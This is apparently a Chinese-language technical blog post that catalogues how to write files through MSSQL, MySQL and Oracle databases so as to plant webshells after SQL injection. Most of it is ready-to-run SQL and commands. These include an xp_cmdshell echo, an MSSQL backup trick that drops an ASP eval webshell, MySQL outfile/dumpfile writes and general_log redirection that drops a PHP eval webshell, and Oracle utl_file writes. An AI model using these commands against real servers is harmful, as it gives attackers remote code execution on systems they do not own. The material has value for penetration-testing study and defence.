数据库写入文件方式总结

前言

通过数据库写入文件是由sql注入获取webshell的常见手段,本文讨论远程连接数据库场景下的文件写入,对常用的mssql、mysql、oracle三种数据库的写入方式做总结。

mssql数据库写入文件

调用xp_cmdshell调用windows命令echo写入文件

1
exec master.xp..cmdshell 'echo "cmdshell" > xxx.php'

使用backup方法写入文件

1
2
3
4
use model;
create table cmd(str image);
insert into cmd(str) values ('<%eval request("cmd")%>');
backup database model to disk='c:\TEMP\1.asp';

mysql数据库写入文件

使用select into outfile写入文件

1
select '<?php phpinfo(); ?>' into outfile 'c:/TEMP/outfile.php'

使用select into dumpfile写入文件

1
SELECT '<?php phpinfo(); ?>' into dumpfile 'c:/TEMP/dumpfile.php'

使用mysql日志功能写入文件

1
2
3
4
show variables like '%general_log%';
set global general_log_file="C://phpstudy_pro/WWW/sql_log.php";
set global general_log="ON";
SELECT '<?php @eval($_POST["123456"]);?>';

oracle数据库写入文件

使用utl_file()方式写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
create or replace directory user_dir as 'C:\TEMP\oracle_dir';
grant read on directory user_dir to public;
grant write on directory user_dir to public;
select * from dba_directories;

declare
F1 utl_file.file_type;
begin
F1:=utl_file.fopen('USER_DIR','01.txt','w');
utl_file.put_line(F1,'test');
utl_file.fflush(F1);
utl_file.fclose(F1);
end;